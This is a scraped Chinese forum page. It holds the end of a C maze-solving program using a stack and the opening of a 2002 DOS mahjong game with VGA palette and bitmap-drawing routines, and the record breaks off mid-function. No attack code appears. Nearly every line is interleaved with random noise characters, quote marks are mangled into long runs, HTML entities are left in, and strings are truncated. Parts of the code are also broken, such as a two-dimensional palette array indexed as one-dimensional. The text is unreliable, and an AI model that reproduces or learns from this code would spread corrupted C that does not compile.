$ U% ~* Y7 n2 ^9 ^: _} /* Pass */
  w  [  r/ g! N; N) t# l: Fvoid MarkPrint(PosType seat)
' g7 B0 B* Q- t( F/* Mark the position seat. */+ x' f2 p7 P  |7 d2 U
{
, i; |# G) R/ V2 V4 q; r3 Wmaze[seat.x][seat.y].mark=-1;8 |! m* n8 J4 g6 X" u- T/ {5 M
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
% V( j" A0 R7 W* h* i} /* MarkPrint */- F. A, K5 y$ R) v
void FootPrint(PosType curpos)
) K+ a, g. J9 d) b/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */, R6 P1 j4 i3 \5 A, V% }! x, G
{) J" ?& e. f' v0 j9 Y# Y( w
maze[curpos.x][curpos.y].foot=1;( V) _$ o. ]* k$ c. b
} /* FootPrint */5 t: k. M6 i/ c7 H& ~, j& T. u
PosType NextPos(PosType seat,int di)
' i" V7 @) j3 _- N$ v{
! S3 q  Z' S$ k& _4 }5 Q9 }+ E& d$ Xswitch(di)
* {9 S9 Y" J( H! G{' O8 s2 J- G! Q$ A3 ^+ W
case 1: seat.y++; return seat; /* Eastward */( a) D; {/ h+ u3 W
case 2: seat.x++; return seat; /* Southward */
+ u0 F3 _. z" q( A. c. B- mcase 3: seat.y--; return seat; /* Westward */! L- y& k2 R, d
case 4: seat.x--; return seat; /* Northward */
! f* p; \0 F1 w7 n9 U4 P; `" ddefault: seat.x=0; seat.y=0; return seat;
4 c/ j4 J0 |( F/ j. ?! Y# R" {( ^}/ o; M! Y. \& e( z2 K
} /* NextPos */
9 X; P! F* \- N# q1 L5 V% c4 z% V
5 X2 }5 @# m# [4 C* Z9 d/* The key to the program. */+ M0 V' z! I7 o5 Z
/* Pre: The maze array &amp; the startplace &amp; the endplace.
+ n0 [, x/ ]8 N7 |" z" c" r( d+ I2 pPost: Find the one traverse of the maze and perform the mazepath.
% w0 ?! M: y' s8 H' t9 kUses: The ADT stack class.* j" {1 h' I* W, Q
*/( U1 H1 m5 f* l/ C" X
Status MazePath(PosType start,PosType end)
% k2 C3 x* {% c2 f: Z{
, ~: `  U+ |& Z2 {0 w6 A* KPosType curpos;7 J. \$ ~% v3 @: h- f# J; r4 v* o$ Q
int curstep;
: w+ A$ P. Y/ `1 o7 sSElemType e;
- c. E5 n; K5 a' C* R2 l- G' LStack *s,stack;
; Q3 R& E, l" [: F8 `; X4 d& |stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
1 h9 m  X0 C& |! Y$ `/ {% n" Qif(!stack.base) Error("Overflow");
/ H6 c% ?" O( o4 S& c! u- {8 ~stack.top=stack.base;, L, \" Y/ b: L
stack.stacksize=STACK_INIT_SIZE;
, Y3 ^/ m7 f+ t/ L9 N# P- |s=&amp;stack;
" v2 k5 J6 f% Ucurpos=start;: ^. Q2 N& O! c" [+ f
curstep=1;- _: S3 Q1 N- V1 A4 m
do& I  F$ i+ E! h9 F% B8 O7 D
{
& W. s/ Y8 {- ~/ C  Pif(Pass(curpos))
+ z# H# v# t" d; G$ N+ l) d{
" r6 X- T* o: u% N( EFootPrint(curpos);
& f2 r! L( K8 c: K% H) ~e.ord=curstep; e.seat=curpos; e.di=1;
0 @1 z  M3 h: ]0 l) Z  }gotoxy((curpos.y+1)*2,curpos.x+2);3 p3 P- t0 b" g- Y. f
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');. u; i2 [9 K0 Q& P' J
delay(8000); /* pospone time. */* @% l4 D, O) a) E& V5 B
Push(s,e);) E9 `0 w% B9 b& b- J
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
  m2 H0 N) ~: `' |{
+ A* G7 p% M4 M( ~DestroyStack(s);0 b+ k& m. w& o1 m+ r/ l# K
return TRUE;4 c8 L6 D+ H6 y! y9 ^
}
- n8 Y/ p# h' O) T: J- }curpos=NextPos(curpos,1); /* Try next position. */
. M5 N8 c( B- ]curstep++;
5 i& R" J/ U8 I, |}
) S- l8 S* u; l5 ~! xelse
1 Z( A' c; f9 |1 Q% W{
4 t8 _1 Q6 o  H! k8 `% ~if(!StackEmpty(s)): |: v% W4 y8 k' w9 m: ?& X
{
' Y1 D1 J  Q# {3 w1 v. k# ?* fe=Pop(s,e); /* Removed e from s. */  w/ M) n1 p8 Y" j
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked) W7 Y3 x! Q& z. O" U9 O: {- b
and s is not empty. */! e( d& }2 m* |
{9 V: R# t& n3 P: Q$ @  x
MarkPrint(e.seat);+ O! q- M" {$ K3 A1 G1 a
gotoxy((e.seat.y+1)*2,e.seat.x+2);: B! m0 K! `+ M, Y. H  ^7 E
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
+ t3 D6 C6 D* xdelay(8000); /* Pospone time. */
3 R; @% T2 \) z  h: M5 p3 s  kgotoxy((e.seat.y+1)*2,e.seat.x+2);' @# K: P. |# h% n1 c
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
5 p  e% K$ t6 we=Pop(s,e); /* Remove e from s. */
$ s. V. U7 Q. |curstep--;% q. A/ E& E" K4 A& ?; X+ V6 H, [
}
% F5 O  G7 s8 e# N0 @if(e.di&lt;4) /* The current position hasnot been checked. */
- g3 n/ F7 `5 k! d) r9 V{
' \; J  ?: S/ P  |1 ae.di++;7 l3 `+ u6 t: ^* k6 ^3 z$ E: c
Push(s,e); /* Insert e into s. */
0 S. G& t3 Z0 g9 N8 O, pcurpos=NextPos(e.seat,e.di); /* Try next position. */
( \* H, c. _6 W: A}+ n: S+ N* |" ~% _7 k5 L- K& R
}  h/ [5 Q( ]4 S
}
2 y, L6 M2 R/ n2 K}$ a1 X8 ]- v) y& u0 O6 l
while(!StackEmpty(s));- [0 k: R: d% _5 G8 I3 T6 W8 M
DestroyStack(s);
, z# x1 K4 w6 a4 ereturn FALSE;
% W- N: D" }( [/ x% m} /* MazePath */
5 R0 H- z+ ?7 V* _9 e3 N% T* Cvoid main()* I- u6 t" r! Z3 F; B5 A- G: X
{
5 H2 ?6 k: o6 i$ @* v$ P$ zPosType start,end;
9 Z+ F5 B# E& v. D) sCreatMaze();' v6 Y0 `# J' K; [1 r
start.x=StartPlace.y;
' @# u1 @6 A. D4 z6 Qstart.y=StartPlace.x;1 t! |  q. H( i4 F1 I0 A' ^1 \
end.x=EndPlace.y;3 v! C" r! ~! {% |1 z3 H; D
end.y=EndPlace.x;
1 j) `. O$ T: u* fif(MazePath(start,end))# v$ }8 Q/ S& @4 a
{! ~. d2 f$ W& P9 k1 _3 z: i3 n
gotoxy(2,22);
4 A# C* F2 u6 G6 B5 I, `! q& a+ rprintf("ath found\n");: a) ~' a- J; [8 L
}9 n/ c, D9 h9 c3 J/ y/ ]3 G
else4 d9 @% `$ A4 a  ^
{5 C5 F8 T) M: E
gotoxy(2,22);
4 I8 w0 y' u8 l/ z' |printf("ath not found\n");, q$ B2 b% K, o
}
& g" T2 W1 Q$ x9 \' e0 xgetch();
- L! b& Q  ?7 dclrscr();) |3 A# D3 Y6 s- e  r' K
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
! I7 A; y( v9 K$ ]. [/*天宇软件+ S( i* \( P! u' H
作者:上海黑暗之龙
: r9 N1 ?7 v+ W6 w8 {5 E# V# [5 C5 E2002/10/30
& K0 l; L& t. j麻将原代码*/
1 S# }1 Y: x  G) h- V, ^#include "dos.h"
! A) w. l, i; m+ L) c1 _$ K. U#include "stdio.h"
& {+ A+ u) t& W  m( T% u# _#include "graphics.h"" h: T  k3 e% |7 C) B: D) ^8 @
#include "bios.h"
( c7 n2 n: T- A* t# W" g#include "conio.h"
4 y0 X6 P4 v3 K& s#include "stdlib.h"
* B( _2 Q, Q& v3 ]( g) f  f- Bunsigned char far *video_buffer=(char far *)0xA0000000L;
: |8 h: q5 j. ^#define VGA256 0x13 /*图形模式13h*/1 c4 B+ E2 B* o! P' @/ X/ }
#define TEXT_MODE 0x03 /*普通文本模式*/% S0 b0 M8 m/ H* m+ n
#define SETVGA Set_Video_Mode(VGA256)6 D) D/ [) F- t# c$ h- D
#define OUTVGA Set_Video_Mode(TEXT_MODE)
' _( W0 l+ f. i/ F5 S  F% `#define BYTE unsigned char! N! M$ H8 A) [3 |( v
#define WORD unsigned int
' J  e3 [& L) j5 G6 l9 k#define DWORD unsigned int; ]  X6 D( s$ L4 a
#define ESC 2838 d2 }1 k' K2 _! p
#define LEFT 19200
* v  T) h( T( L* A, ^% B#define RIGHT 197123 v; e" B* h8 J0 O, f: o. g8 H6 E
#define H 9064- Z2 \0 O1 g2 y, l( G' I
#define ENTER 7181
4 I% n. K& J6 h9 W3 yunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
6 y  e5 _: {3 lint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;, R0 |: H. x4 U0 U# W5 v3 k
struct chi. X# E0 C) S7 l7 X/ K
{
; r& c% p# d$ t) Y/ dint lg;
# K7 r) M, R- c6 I% Jint lgg;" s& ~$ k1 m/ l7 T7 B
}ch[13];
, H1 H% J9 l, [* k6 Pstruct mj9 S+ A3 k" p; W* d
{ char *name; /*名字*/
- U( p' O8 z( n7 V, I7 ^8 x* v/ _int data1; /*是否已出,无用了*/
: U# G! X5 _, e+ tint data2; /*是否在手中,1为自己,2为对方*/
+ g: V% O, H; d4 J7 ?7 Wint number; /*同一个花色的第几张,共4张*/
+ H% k- E7 a' T/ Z6 A9 x* g}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
( D0 w  ?5 z! b3 ^6 b2 i"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
9 b& w7 Y" c4 R' D5 n4 `4 o"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,% R- J, H) M5 c! L
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,2 \* H! \( ?* k; e- y4 A) V
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,* W. g4 k! {1 V
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,( s/ @, w; W0 l2 z( b8 J! A; y
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
0 ^& W/ J3 r% \, p0 ^: l' F3 i"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,6 \3 ~7 _/ F7 }, W4 h1 y3 s
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,0 {4 L# f3 O- q& w3 w4 ?: V7 O4 p
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
& \# n& E5 W: V"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
) \2 R/ V- C8 {( u2 y7 e1 o"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
; W% q$ _6 D) d" s"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,% T' l  D; i: L2 e$ t: O( G8 M
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,8 a+ w8 k7 S- V7 T: ^
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
) S; ~, N8 Y* z; v! Q"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,; J9 z8 [4 s( D' h5 T
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,2 d8 N5 I) a: ]' g! p
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,& s" K3 R$ X/ m" o
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
  k0 D. m& w5 _) G" ^# V' u3 {"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,: p$ i6 W! ?$ X9 H2 ]5 F* V
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,+ r, Q. _% F5 i9 t
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
" ~% w5 L9 M& G1 m; ?$ L"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,% L* N! ?! n7 S) }+ X; q
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
$ G  }" B  G: X0 C# w"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
  w, V: }( z% G"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,. \# b* l4 D0 D
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,0 c% e8 ^0 z9 D& z( W
"34.bmp"};
- V( A! @4 d( Y/ M% A* _- F0 |+ tstruct every
4 h1 o4 R9 {9 `  ^{ int *k; /*名字*/) X% U! }- T; C; s2 p: s
int oneorfour; /*同一张牌的第几张*/6 z% O& Q- _- U; O* D
int number; /*第几张牌136*/' i2 F, B( b8 Y% [5 x1 ^
int p;
) D. I, o* e' N6 {+ |1 Mint g;4 {! @' w2 i4 W' ]1 ?- w1 I/ v
int c;& X# [; o8 h- E( Y8 }
int d[2];
3 N9 T  z/ r% f- }- H};
! h" e( `4 F1 L0 Qstruct me) `2 }; o/ x: p& i( B1 D
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/0 `+ Z& d  S# @
int p; /*乓对方*/% i; X6 G& K3 ^) `1 o
int c; /*吃对方*/
( P4 z4 J! G% f$ T& l+ pint g; /*杠*/% Z4 q& ?% X( N4 d# b0 f3 t* i
# S0 b4 c# {( q1 |& w' s8 j" ~0 u
struct every pp[14]; /*存放手上的牌*/
( U' Q' U( y' A. ?  l% c}me;
! q$ h) _) {; qstruct computer0 _, q: ~. k8 h- E( _1 g
{ int m;" p6 ~+ G  O( Z& ^
int p;* a7 |. \5 D6 z/ y. R7 w- S
int c;! J( A9 F! h) u( A
int g;
+ A2 E6 C  v7 O3 q* ^1 w9 Xstruct every pp[14];
4 A% a( u3 o% O3 ^, P}computer,comp;# w! r; L& g9 d0 N4 E1 T

+ N0 @& Y& o) O( V3 ^/ @/* 设置调色板 */  V6 p) T& {( t0 B+ Y: [$ c
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
. B; H6 L% s4 e0 m8 A6 G{
1 p0 y7 V! ~" B9 f1 Ooutportb(0x3c8,Color); /*0x3c8写端口 写色号*/2 _% |$ S5 @% _5 I. {  `
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
6 y% n9 Z- i! v& x% O+ {outportb(0x3c9,g);
0 A) a5 n$ P! Goutportb(0x3c9,b);  T: ^$ z+ s  V) _( e
}% O1 C3 }( I, ~7 P7 m1 a8 c$ K# o
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
" X/ W9 K( B3 l  f8 C8 J: }/* 设置显示模式的函数 */) _  Y! Z; B( }# t, D0 D
void Set_Video_Mode(int mode)/ i7 o& i" v6 ?
{
" R" m) g# Q; {  Xunion REGS inregs,outregs; /*定义输入和返回寄存器*/
! O3 k6 q# j: U7 `2 V9 hinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/( K+ i$ O* k; Q4 j4 |/ `+ J
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
5 x3 f6 T2 }8 K2 N5 C* g1 Iint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*// v- I1 z. o; P- M' L& P  Q- T
}
6 o6 I! ~' P9 H* z# e/ hvoid v_line(int y0,int y1,int x,unsigned int color)6 t/ `( F/ H( r
{ unsigned int address,n,temp;
  S- y8 y$ X, m* d1 R$ o9 L0 tif(y0&gt;y1)
* {" B, T, \4 I) T6 ~& I{
) O. x3 ?  M; t7 P" U$ Q* Dtemp=y1;, T; P' o; ^; m# O1 |9 I! ^
y1=y0;
0 V. m1 j; N1 T6 yy0=temp;
/ v% X& H1 m7 d+ @: [}
+ T# ^5 A% y; `1 Maddress=320*y0+x;# o5 A1 E1 Y* W4 d, m" Y. O: H+ R
for(n=0;n&lt;=y1-y0;n++)/ ]2 S3 j* Y% O7 Q8 }* a
{
% A2 [8 t- l. E! O8 [& \video_buffer[address]=color;
. H0 t8 c2 f! N7 g1 {( Iaddress+=320;, S) l% M8 b5 N6 \$ J
}
+ I) \$ Q* y- E( r4 d$ r}5 g# [  C3 |) ?' @
void h_line(int x0,int x1,int y,unsigned int color)
- {9 E7 D: d. f$ n0 q{ unsigned int address,n,temp;
: G% Y+ u  x! }. U8 I& dif(x0&gt;x1)2 g& R4 o. y0 b7 X
{; v& V5 ~% a! D; j) t
temp=x1;/ e1 R0 [1 @. Y$ O
x1=x0;% R. V2 S+ h0 E/ S, j: ^" l! Y
x0=temp;
# y8 ]( [0 F8 d0 ]2 r, u3 U2 E5 q}
+ T- Q) R. a1 l0 Taddress=320*y+x0;7 T' Y6 s5 r9 M
for(n=0;n&lt;=x1-x0;n++)
( g- H# j  x6 y9 p& c* H( p0 c{* b0 c' S; N7 _& L1 m8 v$ S, s) j) Y- C
video_buffer[address]=color;# Y. v$ m* ~* L) _( F  O8 f' n7 M
address+=1;5 Q5 {+ {/ p3 I+ o! J! R0 v) l
}2 l# I( |  c9 ?6 p3 A( `
}, e/ I( G" j5 {1 \* E( n( B: `+ o
void p_pixel(int x,int y,unsigned int color); x: s0 s  r8 u  Y& S; J
{ video_buffer[y*320+x]=color;& X; G2 T. V* v* Y) z' ~& ^' Y7 t- y
}% e1 h6 s1 `9 u' T
void s_square(int x,int y,int side,int color). Y) `5 J( m) P/ y) j/ h! V
{
1 L# S8 l* _+ Z4 X( z" B9 z+ _; d* B8 u7 oh_line(x,x+side,y,color);$ h( t2 _* ]$ S0 }2 Y
h_line(x,x+side,y+side,color);
+ y. }5 _2 m& r: Tv_line(y,y+side,x,color);
/ ^  R- I) _9 J/ P2 Iv_line(y,y+side,x+side,color);
8 M$ y" k2 W. G6 y3 g( g3 U}3 ~% A  A( G$ L5 r1 @/ X$ b
void r_rectangle(int x1,int y1,int x2,int y2,int color)
. M$ R* D1 [( e6 a& g, G{2 j) `, a, U9 U- J" z- G! T
h_line(x1,x2,y1,color);1 T( b6 G# Q! C, u+ e
h_line(x1,x2,y2,color);
2 e1 @1 N9 Y% S7 W; rv_line(y1,y2,x1,color);0 l+ @1 ?6 D, D& w/ Q! g3 {. \
v_line(y1,y2,x2,color);& R4 Y4 r4 H" t' p4 R" C
}1 |4 L0 g. V1 @: e8 Y, Y
void fillRectangle(int x1,int y1,int x2,int y2,int color)
3 l6 P* U% I5 ?& w" k4 [6 N1 h{2 _: S) M  V  c; D! ]& B
int i;
6 @0 W9 Q) q4 g% ]for(i=y1;i&lt;=y2;i++)/ Q# l; o# n' A! e0 h& Q7 z
{! ~9 j6 i& W' L& ~# i- g. B" J5 p
h_line(x1,x2,i,color);- ?5 g9 n1 {5 ]$ |/ ]
}
& v5 ~$ Q. M9 y0 Y, X# F& y9 {}  x- O/ j. w1 f# E: `& T# U" H7 L
void showbmp(int l)1 e4 j: K( g5 O
{ FILE *bmp;) h: z+ R! q2 f3 y; \
int i,x,y;
: D" h: u- P: J* k5 YBYTE palette[256][3];
! s. H. e  X) v9 Q6 k4 [bmp=fopen(me.pp[l].k,"rb");+ I  q. e/ l. _6 S9 A
fseek(bmp,54,SEEK_SET);; V7 `9 z6 b$ l  R
for(i=0;i&lt;256;i++)
, z! C( t8 x: T( K$ Q) ^& C{
4 H# {0 ]0 w; `& v: upalette[2]=fgetc(bmp)&gt;&gt;2;
3 |$ f4 n3 m% t4 X+ p2 U" kpalette[1]=fgetc(bmp)&gt;&gt;2;
! l9 Y; e  C) ppalette[0]=fgetc(bmp)&gt;&gt;2;: q* D. ^2 A% @* D% b; i
fgetc(bmp);
& [4 _, C: C" |" K( ]. b8 }Set_Palette(i,palette[0],palette[1],palette[2]);
( ?8 B* l- r  Q$ q3 o}
( S! i: T) W" j# T- V3 `+ }  Mfor (y=0;y&lt;30;y++)
0 z( n4 J  L+ _, E3 t5 t# G- `for(x=0;x&lt;20;x++)
- L$ d# \7 E7 ?9 N) n  npokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));! U- B5 L  p2 ?" a
fclose(bmp);  ~& |8 u' R' v3 d
}2 ]) L# \; o' J* @5 Z1 S( X
void showbmpd(int l)5 n$ u! M  d( C$ |( k0 O
{ FILE *bmp;
8 ~2 f8 i% c) }; A, a* ^: m- oint i,x,y;
( ^6 n% _* x3 S0 X0 \BYTE palette[256][3];- y/ t8 L. {# F9 m
bmp=fopen(me.pp[l].k,"rb");: Z8 j6 c1 X4 ~
fseek(bmp,54,SEEK_SET);
3 v  a; n& B. q4 h% `for(i=0;i&lt;256;i++)
" Y( ?' y/ v' ?{
9 A$ D$ G! P0 u0 t, Tpalette[2]=fgetc(bmp)&gt;&gt;2;
' G7 w+ p, U! c' z# epalette[1]=fgetc(bmp)&gt;&gt;2;
3 S5 o2 X2 C1 y5 Kpalette[0]=fgetc(bmp)&gt;&gt;2;
( u* r1 h" D# [: v; y& f. Vfgetc(bmp);
7 M' H7 E/ D" I2 W* b3 A" v7 \Set_Palette(i,palette[0],palette[1],palette[2]);: |: u1 s5 h3 {. G' C8 J; ?, t1 L
}
5 W* x: n0 @$ |for (y=0;y&lt;30;y++)- G. a" T/ Q) c5 P& R4 w: A
for(x=0;x&lt;20;x++)
# X0 A7 O% H# e9 i4 a' ~  Dpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
- a. x9 K$ v  P6 b- K4 hfclose(bmp);: p0 v# U. m; P, N0 F
}. {4 M0 Q- g+ a  D
void showybmp(int ll)
4 \/ a7 g1 Y- [  S: F: X2 p{ FILE *bmp;
. `4 K/ s: H1 [0 M0 ^8 x& lint i,x,y;
5 }" M" N$ p  E6 ?* l% sBYTE palette[256][3];% ?8 `1 p% w0 @) c' {
bmp=fopen(computer.pp[ll].k,"rb");
; a  m  }, t) @& ]fseek(bmp,54,SEEK_SET);
2 e) c8 t& M; ?for(i=0;i&lt;256;i++)
2 c9 [7 r3 l8 l  H% \$ p, o{+ r$ f8 n/ s+ j2 W9 ^$ ~
palette[2]=fgetc(bmp)&gt;&gt;2;
! C9 s# @7 V$ @3 b- u. w  E6 Ipalette[1]=fgetc(bmp)&gt;&gt;2;
5 I4 z: O4 {$ `7 f5 t4 Q- g4 Ppalette[0]=fgetc(bmp)&gt;&gt;2;. I5 H: s! _+ T% l' B
fgetc(bmp);/ o" D& F: S4 K
Set_Palette(i,palette[0],palette[1],palette[2]);
1 |2 ^4 u# F5 ~}
0 j, T( V" j( G9 pfor (y=0;y&lt;30;y++)
  P5 a7 f; J( j- S' o3 ~% Wfor(x=0;x&lt;20;x++)
. D5 A$ w" s, V( E+ ~pokeb(0xa000,y*320+x+zy,fgetc(bmp));# ]( ]4 P) Y6 t: [7 w( [
fclose(bmp);
: H, E- E5 {; ^4 b( P. l8 f# W}8 P2 N' Z4 \1 E  i% p- a, E8 h
void showcbmp(int ll)
0 g4 [) O! C8 m5 U& L{ FILE *bmp;
- {9 s8 N/ ]5 P% iint i,x,y;
6 K7 Z4 j* r% o/ G$ N# O: jBYTE palette[256][3];6 r0 a) }0 e! b! T: Z
bmp=fopen(computer.pp[ll].k,"rb");
6 L3 H) Y( e2 ufseek(bmp,54,SEEK_SET);
5 @, c# y2 z+ Z% ?for(i=0;i&lt;256;i++)- s; t9 d& Q5 l2 A* L% W- M) c8 W5 m
{
8 a7 `4 ]3 ?; W$ c9 G4 S0 epalette[2]=fgetc(bmp)&gt;&gt;2;3 K2 u2 p" Z" N2 W' g
palette[1]=fgetc(bmp)&gt;&gt;2;
! M& F  @& Q: }- dpalette[0]=fgetc(bmp)&gt;&gt;2;. G2 ?* Q, h' d7 C# ^
fgetc(bmp);& o* `8 W8 ^0 Z  s, ~
Set_Palette(i,palette[0],palette[1],palette[2]);
: h1 T5 y$ v7 L8 j$ }* |}
; a$ {6 t3 m2 ?0 B) E8 U# F6 y+ |  z3 _for (y=0;y&lt;30;y++)# {5 L4 P$ W- n- ^
for(x=0;x&lt;20;x++)5 y, S( e; e3 g: P
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));- T' k/ s" M4 K6 G" }
fclose(bmp);
$ a4 w! g/ R4 I7 Q# j6 a' K2 u}
4 E- `% a# S; \+ l# Hvoid bmpp(int number)
$ K- L: J8 r2 M9 \4 i, P5 o, }{ FILE *bmp;" D7 X2 w5 D/ N% C
int i,x,y;
5 [: P1 ~* Y; dBYTE palette[256][3];
2 t  Y, m! ^# |- `: V# K% Mbmp=fopen(m[number].name,"rb");0 U- ]2 C5 u' m
fseek(bmp,54,SEEK_SET);9 _# ~# W+ ^2 S* M; t
for(i=0;i&lt;256;i++), K( F0 \- t4 Z  G2 Y5 p: K' s: v/ L
{
" v- d7 p) U0 {: W8 e9 e  |palette[2]=fgetc(bmp)&gt;&gt;2;" z+ Z- r7 \/ h
palette[1]=fgetc(bmp)&gt;&gt;2;
8 @# b/ E* g/ `7 h% H1 A- mpalette[0]=fgetc(bmp)&gt;&gt;2;8 H; t% ?6 e; T. a+ N5 l
fgetc(bmp);
7 D0 C# u4 A7 Z7 }6 q0 mSet_Palette(i,palette[0],palette[1],palette[2]);! g. J; m# c  e4 a6 R% T2 o
}: q0 L$ j$ U7 t
for (y=0;y&lt;30;y++)! j4 L6 E2 G* x0 v% ?5 O
for(x=0;x&lt;20;x++)
6 i  s5 r4 d- W, ?. ?pokeb(0xa000,y*320+x+zl,fgetc(bmp));
" H& X2 [0 |4 ~  I/ c0 Kfclose(bmp);) l# m" f. r6 T* P7 P' ^
}
3 @4 F; y2 o# l  U& kvoid comlipai() /*整理电脑的牌*/' _; D) Y  w9 @2 K1 M+ t0 q* [
{ int n,j,u;
. Q6 R. M9 ]7 z; I$ O3 m( {! x' _* Rint *lingshi;
# n, f7 J1 s/ x2 u$ ^, rfor(n=0;n&lt;computer.m;n++)  B2 n, M$ M: Z" ^# e
for(j=n;j&lt;computer.m;j++)
! D6 U6 \" e4 K  U0 k; t( B{
$ ~, Y0 E5 @3 w6 E% E/ lif(computer.pp[n].number&gt;computer.pp[j+1].number)3 F, M- o8 q$ R! R- o
{$ D6 V* d6 @- j3 Z# i2 U
lingshi=computer.pp[n].k;! V. d( t4 A0 O
computer.pp[n].k=computer.pp[j+1].k;
6 q) V! u% }  vcomputer.pp[j+1].k=lingshi;5 ^1 m% R6 ~! I* f+ G
u=computer.pp[n].oneorfour;5 F, I( G4 z( R; k( G* _
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;# N5 H$ ~  x! Z0 a- f( @( D
computer.pp[j+1].oneorfour=u;7 T+ }. ]( S* v
u=computer.pp[n].number;6 w4 o- }+ U5 `
computer.pp[n].number=computer.pp[j+1].number;
2 N) Z  B1 W+ s, r2 Fcomputer.pp[j+1].number=u;9 f) Q! l" |1 G
}8 b) {( b, a& f* M
else
: p5 g! d/ h1 `  b& E% \if(computer.pp[n].number==computer.pp[j+1].number)
: x" S8 i. \  ]; r+ @if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
* G+ m0 [% [( R9 D! }{, N4 y2 D- s7 q5 c) ?6 r5 c
lingshi=computer.pp[n].k;0 B0 l1 C' [  b1 V- F
computer.pp[n].k=computer.pp[j+1].k;7 y- B3 E" o9 t5 k3 v# w
computer.pp[j+1].k=lingshi;: y3 N$ L. _/ w" @8 ?% ?) v
u=computer.pp[n].oneorfour;
, V5 N3 k+ [% G4 R, X7 F% I7 Qcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;) u( ^. U: A9 P1 C1 B2 y8 [
computer.pp[j+1].oneorfour=u;( I, V' [7 b3 C0 ?
u=computer.pp[n].number;. {2 T6 R) E# @; A  s- V% E
computer.pp[n].number=computer.pp[j+1].number;* b; T; Q4 P/ \
